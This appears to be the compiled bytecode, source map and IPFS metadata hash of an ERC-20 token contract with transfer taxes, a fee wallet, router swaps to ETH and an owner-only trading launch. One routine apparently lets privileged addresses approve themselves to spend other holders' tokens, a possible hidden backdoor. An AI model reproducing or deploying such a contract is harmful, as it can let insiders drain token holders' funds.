2909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb29190611315565b81600181518110610ec557610ec56113ae565b6001600160a01b039283166020918202929092010152600d54610eeb9130911684610746565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f249085906000908690309042906004016113c4565b600060405180830381600087803b158015610f3e57600080fd5b505af1158015610f52573d6000803e3d6000fd5b50506010805460ff60a01b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fa1573d6000803e3d6000fd5b5050565b600080610fb28385611435565b905083811015610d8f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610371565b6000610d8f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109b3565b3360009081526001602052604090205460ff1615610fa157610fa1823383610746565b6000818361108a5760405162461bcd60e51b81526004016103719190611097565b5060006109e4848661138c565b600060208083528351808285015260005b818110156110c4578581018301518582016040015282016110a8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110fa57600080fd5b50565b6000806040838503121561111057600080fd5b823561111b816110e5565b946020939093013593505050565b60008060006060848603121561113e57600080fd5b8335611149816110e5565b92506020840135611159816110e5565b929592945050506040919091013590565b60006020828403121561117c57600080fd5b8135610d8f816110e5565b6000806040838503121561119a57600080fd5b82356111a5816110e5565b915060208301356111b5816110e5565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156112115781600019048211156111f7576111f76111c0565b8085161561120457918102915b93841c93908002906111db565b509250929050565b600082611228575060016102b7565b81611235575060006102b7565b816001811461124b576002811461125557611271565b60019150506102b7565b60ff841115611266576112666111c0565b50506001821b6102b7565b5060208310610133831016604e8410600b8410161715611294575081810a6102b7565b61129e83836111d6565b80600019048211156112b2576112b26111c0565b029392505050565b6000610d8f60ff841683611219565b80820281158282048414176102b7576102b76111c0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561132757600080fd5b8151610d8f816110e5565b60008060006060848603121561134757600080fd5b8351925060208401519150604084015190509250925092565b818103818111156102b7576102b76111c0565b600060018201611385576113856111c0565b5060010190565b6000826113a957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114145784516001600160a01b0316835293830193918301916001016113ef565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102b7576102b76111c056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206cf65ef6c4479e280dc9a12201344b1e84893b7f86785e149d78bef6e0cf87db64736f6c63430008120033

3703:6986:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5368:83;;;;;;;;;;-1:-1:-1;5438:5:0;;;;;;;;;;;-1:-1:-1;;;5438:5:0;;;;5368:83;;;;5438:5;5368:83;:::i;:::-;;;;;;;;6210:161;;;;;;;;;;-1:-1:-1;6210:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6210:161:0;1023:187:1;5645:98:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5645:98:0;1215:177:1;6379:317:0;;;;;;;;;;-1:-1:-1;6379:317:0;;;;;:::i;:::-;;:::i;5554:83::-;;;;;;;;;;-1:-1:-1;5554:83:0;;4450:1;2000:36:1;;1988:2;1973:18;5554:83:0;1858:184:1;5751:122:0;;;;;;;;;;-1:-1:-1;5751:122:0;;;;;:::i;:::-;-1:-1:-1;;;;;5844:21:0;5817:7;5844:21;;;:12;:21;;;;;;;5751:122;2869:148;;;;;;;;;;;;;:::i;:::-;;10072:298;;;;;;;;;;;;;:::i;2655:79::-;;;;;;;;;;-1:-1:-1;2693:7:0;2720:6;2655:79;;-1:-1:-1;;;;;2720:6:0;;;2445:51:1;;2433:2;2418:18;2655:79:0;2299:203:1;5881:167:0;;;;;;;;;;-1:-1:-1;5881:167:0;;;;;:::i;:::-;;:::i;10378:308::-;;;;;;;;;;;;;:::i;6056:146::-;;;;;;;;;;-1:-1:-1;6056:146:0;;;;;:::i;:::-;-1:-1:-1;;;;;6164:21:0;;;6137:7;6164:21;;;:14;:21;;;;;;;;:30;;;;;;;;;;;;;6056:146;6210:161;6285:4;6302:39;2312:10;6325:7;6334:6;6302:8;:39::i;:::-;-1:-1:-1;6359:4:0;6210:161;;;;;:::o;5645:98::-;5698:7;4509:13;4450:1;4509:2;:13;:::i;:::-;4496:26;;:10;:26;:::i;:::-;5718:17;;5645:98;:::o;6379:317::-;6477:4;6494:36;6504:6;6512:9;6523:6;6494:9;:36::i;:::-;6542:124;6551:6;2312:10;6573:92;6614:6;6573:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6573:22:0;;;;;;:14;:22;;;;;;;;2312:10;6573:36;;;;;;;;;;:40;:92::i;:::-;6542:8;:124::i;:::-;-1:-1:-1;6684:4:0;6379:317;;;;;:::o;2869:148::-;2782:6;;-1:-1:-1;;;;;2782:6:0;2312:10;2782:22;2774:67;;;;-1:-1:-1;;;2774:67:0;;;;;;;:::i;:::-;;;;;;;;;2976:1:::1;2960:6:::0;;2939:40:::1;::::0;-1:-1:-1;;;;;2960:6:0;;::::1;::::0;2939:40:::1;::::0;2976:1;;2939:40:::1;3007:1;2990:19:::0;;-1:-1:-1;;;;;;2990:19:0::1;::::0;;2869:148::o;10072:298::-;2782:6;;-1:-1:-1;;;;;2782:6:0;2312:10;2782:22;2774:67;;;;-1:-1:-1;;;2774:67:0;;;;;;;:::i;:::-;10128:10:::1;:67:::0;;-1:-1:-1;;;;;;10128:67:0::1;10152:42;10128:67:::0;;::::1;::::0;;;10206:56:::1;::::0;10223:4:::1;::::0;4509:13:::1;4450:1;4509:2;:13;:::i;:::-;4496:26;::::0;:10:::1;:26;:::i;10206:56::-;10296:10;;;;;;;;;-1:-1:-1::0;;;;;10296:10:0::1;-1:-1:-1::0;;;;;10296:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10284:44:0::1;;10337:4;10344:10;;;;;;;;;-1:-1:-1::0;;;;;10344:10:0::1;-1:-1:-1::0;;;;;10344:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10284:78;::::0;-1:-1:-1;;;;;;10284:78:0::1;::::0;;;;;;-1:-1:-1;;;;;5435:15:1;;;10284:78:0::1;::::0;::::1;5417:34:1::0;5487:15;;5467:18;;;5460:43;5352:18;;10284:78:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10273:8;:89:::0;;-1:-1:-1;;;;;;10273:89:0::1;-1:-1:-1::0;;;;;10273:89:0;;;::::1;::::0;;;::::1;::::0;;10072:298::o;5881:167::-;5959:4;5976:42;2312:10;6000:9;6011:6;5976:9;:42::i;10378:308::-;2782:6;;-1:-1:-1;;;;;2782:6:0;2312:10;2782:22;2774:67;;;;-1:-1:-1;;;2774:67:0;;;;;;;:::i;:::-;10442:13:::1;::::0;-1:-1:-1;;;10442:13:0;::::1;;;10441:14;10433:49;;;::::0;-1:-1:-1;;;10433:49:0;;5716:2:1;10433:49:0::1;::::0;::::1;5698:21:1::0;5755:2;5735:18;;;5728:30;5794:25;5774:18;;;5767:53;5837:18;;10433:49:0::1;5514:347:1::0;10433:49:0::1;10493:10;::::0;-1:-1:-1;;;;;10493:10:0::1;:26;10527:21;10558:4;10564:24;10558:4:::0;-1:-1:-1;;;;;5844:21:0;5817:7;5844:21;;;:12;:21;;;;;;;5751:122;10564:24:::1;10589:1;10591::::0;10593:7:::1;2693::::0;2720:6;-1:-1:-1;;;;;2720:6:0;;2655:79;10593:7:::1;10493:124;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10493:124:0;;;-1:-1:-1;;;;;6225:15:1;;;10493:124:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;10601:15:0::1;6439:19:1::0;;;6432:35;6141:19;;10493:124:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10628:12:0::1;:19:::0;;-1:-1:-1;;;;10658:20:0;-1:-1:-1;;;10658:20:0;;;-1:-1:-1;10378:308:0:o;6704:338::-;-1:-1:-1;;;;;6797:19:0;;6789:68;;;;-1:-1:-1;;;6789:68:0;;6991:2:1;6789:68:0;;;6973:21:1;7030:2;7010:18;;;7003:30;7069:34;7049:18;;;7042:62;-1:-1:-1;;;7120:18:1;;;7113:34;7164:19;;6789:68:0;:400:1;:68:0;-1:-1:-1;;;;;6876:21:0;;6868:68;;;;-1:-1:-1;;;6868:68:0;;7396:2:1;6868:68:0;;;7378:21:1;7435:2;7415:18;;;7408:30;7474:34;7454:18;;;7447:62;-1:-1:-1;;;7525:18:1;;;7518:32;7567:19;;6868:68:0;7194:398:1;6868:68:0;-1:-1:-1;;;;;6947:21:0;;;;;;;:14;:21;;;;;;;;:30;;;;;;;;;;;;;:39;;;7002:32;;1361:25:1;;;7002:32:0;;1334:18:1;7002:32:0;;;;;;;6704:338;;;:::o;7050:415::-;-1:-1:-1;;;;;7138:18:0;;7130:68;;;;-1:-1:-1;;;7130:68:0;;7799:2:1;7130:68:0;;;7781:21:1;7838:2;7818:18;;;7811:30;7877:34;7857:18;;;7850:62;-1:-1:-1;;;7928:18:1;;;7921:35;7973:19;;7130:68:0;7597:401:1;7130:68:0;-1:-1:-1;;;;;7217:18:0;;7209:66;;;;-1:-1:-1;;;7209:66:0;;8205:2:1;7209:66:0;;;8187:21:1;8244:2;8224:18;;;8217:30;8283:34;8263:18;;;8256:62;-1:-1:-1;;;8334:18:1;;;8327:33;8377:19;;7209:66:0;8003:399:1;7209:66:0;7301:1;7294:4;:8;7286:62;;;;-1:-1:-1;;;7286:62:0;;8609:2:1;7286:62:0;;;8591:21:1;8648:2;8628:18;;;8621:30;8687:34;8667:18;;;8660:62;-1:-1:-1;;;8738:18:1;;;8731:39;8787:19;;7286:62:0;8407:405:1;7286:62:0;7361:14;7378:29;7390:4;7396;7402;7378:11;:29::i;:::-;7361:46;;7420:37;7432:4;7438;7444;7450:6;7420:11;:37::i;:::-;7119:346;7050:415;;;:::o;783:190::-;869:7;905:12;897:6;;;;889:29;;;;-1:-1:-1;;;889:29:0;;;;;;;;:::i;:::-;-1:-1:-1;929:9:0;941:5;945:1;941;:5;:::i;:::-;929:17;783:190;-1:-1:-1;;;;;783:190:0:o;8233:1112::-;8312:7;;8371;2693;2720:6;-1:-1:-1;;;;;2720:6:0;;2655:79;8371:7;-1:-1:-1;;;;;8363:15:0;:4;-1:-1:-1;;;;;8363:15:0;;;:34;;;;-1:-1:-1;2693:7:0;2720:6;-1:-1:-1;;;;;8382:15:0;;;2720:6;;8382:15;;8363:34;8359:953;;;8423:74;8493:3;8423:65;8443:15;;8433:9;;:25;8432:55;;8473:14;;8432:55;;;8460:12;;8432:55;8423:4;;:8;:65::i;:::-;:69;;:74::i;:::-;8526:8;;8414:83;;-1:-1:-1;;;;;;8518:16:0;;;8526:8;;8518:16;:47;;;;-1:-1:-1;8554:10:0;;-1:-1:-1;;;;;8538:27:0;;;8554:10;;8538:27;;8518:47;:74;;;;-1:-1:-1;;;;;;8571:21:0;;;;;;:15;:21;;;;;;;;8569:23;8518:74;8514:126;;;8613:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8514:126;8667:8;;-1:-1:-1;;;;;8659:16:0;;;8667:8;;8659:16;:40;;;;-1:-1:-1;;;;;;8679:20:0;;8694:4;8679:20;;8659:40;8656:166;;;8729:77;8802:3;8729:68;8749:16;;8739:9;;:26;8738:58;;8781:15;;8738:58;;;8767:13;;8729:4;;:8;:68::i;:77::-;8720:86;;8656:166;8875:4;8838:16;5844:21;;;:12;:21;;;;;;8902:9;;-1:-1:-1;;;8902:9:0;;;;8901:10;:30;;;;-1:-1:-1;8923:8:0;;-1:-1:-1;;;;;8915:16:0;;;8923:8;;8915:16;8901:30;:46;;;;-1:-1:-1;8935:12:0;;-1:-1:-1;;;8935:12:0;;;;8901:46;:80;;;;;8963:18;;8951:9;;:30;8901:80;8897:404;;;9016:14;;9005:8;:25;9002:105;;;9049:58;9066:40;9070:4;9076:29;9080:8;9090:14;;9076:3;:29::i;:::-;9066:3;:40::i;:::-;9049:16;:58::i;:::-;9148:21;9233:33;9244:21;9233:10;:33::i;:::-;8983:318;8897:404;8399:913;8359:953;9331:6;8233:1112;-1:-1:-1;;;;8233:1112:0:o;7727:498::-;7829:10;;7826:163;;7904:4;7883:27;;;;:12;:27;;;;;;:39;;7915:6;7883:31;:39::i;:::-;7874:4;7853:27;;;;:12;:27;;;;;;;:69;;;;7940:37;;-1:-1:-1;;;;;7940:37:0;;;;;;;7970:6;1361:25:1;;1349:2;1334:18;;1215:177;7940:37:0;;;;;;;;7826:163;-1:-1:-1;;;;;8028:18:0;;;;;;:12;:18;;;;;;:28;;8051:4;8028:22;:28::i;:::-;-1:-1:-1;;;;;8007:18:0;;;;;;:12;:18;;;;;:49;8067:24;8020:4;8086;8067:12;:24::i;:::-;8123:40;8146:16;:4;8155:6;8146:8;:16::i;:::-;-1:-1:-1;;;;;8123:18:0;;;;;;:12;:18;;;;;;;:22;:40::i;:::-;-1:-1:-1;;;;;8102:18:0;;;;;;;:12;:18;;;;;:61;;;;8179:38;;;8200:16;:4;8209:6;8200:8;:16::i;:::-;8179:38;;1361:25:1;;;1349:2;1334:18;8179:38:0;;;;;;;7727:498;;;;:::o;981:246::-;1039:7;1063:1;1068;1063:6;1059:47;;-1:-1:-1;1093:1:0;1086:8;;1059:47;1116:9;1128:5;1132:1;1128;:5;:::i;:::-;1116:17;-1:-1:-1;1161:1:0;1152:5;1156:1;1116:17;1152:5;:::i;:::-;:10;1144:56;;;;-1:-1:-1;;;1144:56:0;;9514:2:1;1144:56:0;;;9496:21:1;9553:2;9533:18;;;9526:30;9592:34;9572:18;;;9565:62;-1:-1:-1;;;9643:18:1;;;9636:31;9684:19;;1144:56:0;9312:397:1;1144:56:0;1218:1;981:246;-1:-1:-1;;;981:246:0:o;1235:132::-;1293:7;1320:39;1324:1;1327;1320:39;;;;;;;;;;;;;;;;;:3;:39::i;9353:99::-;9410:7;9438:1;9436;:3;9435:9;;9443:1;9435:9;;;-1:-1:-1;9441:1:0;9353:99;-1:-1:-1;9353:99:0:o;9567:459::-;4927:9;:16;;-1:-1:-1;;;;4927:16:0;-1:-1:-1;;;4927:16:0;;;9666::::1;::::0;;9680:1:::1;9666:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9666:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9666:16:0::1;9642:40;;9711:4;9693;9698:1;9693:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9693:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9737:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;9737:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;9693:7;;9737:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9727:4;9732:1;9727:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9727:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;9797:10:::1;::::0;9765:54:::1;::::0;9782:4:::1;::::0;9797:10:::1;9810:8:::0;9765::::1;:54::i;:::-;9830:10;::::0;:188:::1;::::0;-1:-1:-1;;;9830:188:0;;-1:-1:-1;;;;;9830:10:0;;::::1;::::0;:61:::1;::::0;:188:::1;::::0;9906:8;;9830:10:::1;::::0;9945:4;;9972::::1;::::0;9992:15:::1;::::0;9830:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4966:9:0;:17;;-1:-1:-1;;;;4966:17:0;;;-1:-1:-1;;;;9567:459:0:o;9460:99::-;9523:10;;9515:36;;-1:-1:-1;;;;;9523:10:0;;;;9515:36;;;;;9544:6;;9523:10;9515:36;9523:10;9515:36;9544:6;9523:10;9515:36;;;;;;;;;;;;;;;;;;;;;9460:99;:::o;452:179::-;510:7;;542:5;546:1;542;:5;:::i;:::-;530:17;;571:1;566;:6;;558:46;;;;-1:-1:-1;;;558:46:0;;11295:2:1;558:46:0;;;11277:21:1;11334:2;11314:18;;;11307:30;11373:29;11353:18;;;11346:57;11420:18;;558:46:0;11093:351:1;639:136:0;697:7;724:43;728:1;731;724:43;;;;;;;;;;;;;;;;;:3;:43::i;7588:131::-;2312:10;7519:4;7543:29;;;:15;:29;;;;;;;;7657:54;;;7677:34;7686:4;2312:10;7706:4;7677:8;:34::i;1375:189::-;1461:7;1496:12;1489:5;1481:28;;;;-1:-1:-1;;;1481:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1520:9:0;1532:5;1536:1;1532;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;4949:251::-;5019:6;5072:2;5060:9;5051:7;5047:23;5043:32;5040:52;;;5088:1;5085;5078:12;5040:52;5120:9;5114:16;5139:31;5164:5;5139:31;:::i;6478:306::-;6566:6;6574;6582;6635:2;6623:9;6614:7;6610:23;6606:32;6603:52;;;6651:1;6648;6641:12;6603:52;6680:9;6674:16;6664:26;;6730:2;6719:9;6715:18;6709:25;6699:35;;6774:2;6763:9;6759:18;6753:25;6743:35;;6478:306;;;;;:::o;8817:128::-;8884:9;;;8905:11;;;8902:37;;;8919:18;;:::i;8950:135::-;8989:3;9010:17;;;9007:43;;9030:18;;:::i;:::-;-1:-1:-1;9077:1:1;9066:13;;8950:135::o;9090:217::-;9130:1;9156;9146:132;;9200:10;9195:3;9191:20;9188:1;9181:31;9235:4;9232:1;9225:15;9263:4;9260:1;9253:15;9146:132;-1:-1:-1;9292:9:1;;9090:217::o;9846:127::-;9907:10;9902:3;9898:20;9895:1;9888:31;9938:4;9935:1;9928:15;9962:4;9959:1;9952:15;9978:980;10240:4;10288:3;10277:9;10273:19;10319:6;10308:9;10301:25;10345:2;10383:6;10378:2;10367:9;10363:18;10356:34;10426:3;10421:2;10410:9;10406:18;10399:31;10450:6;10485;10479:13;10516:6;10508;10501:22;10554:3;10543:9;10539:19;10532:26;;10593:2;10585:6;10581:15;10567:29;;10614:1;10624:195;10638:6;10635:1;10632:13;10624:195;;;10703:13;;-1:-1:-1;;;;;10699:39:1;10687:52;;10794:15;;;;10759:12;;;;10735:1;10653:9;10624:195;;;-1:-1:-1;;;;;;;10875:32:1;;;;10870:2;10855:18;;10848:60;-1:-1:-1;;;10939:3:1;10924:19;10917:35;10836:3;9978:980;-1:-1:-1;;;9978:980:1:o;10963:125::-;11028:9;;;11049:10;;;11046:36;;;11062:18;;:::i

ipfs://6cf65ef6c4479e280dc9a12201344b1e84893b7f86785e149d78bef6e0cf87db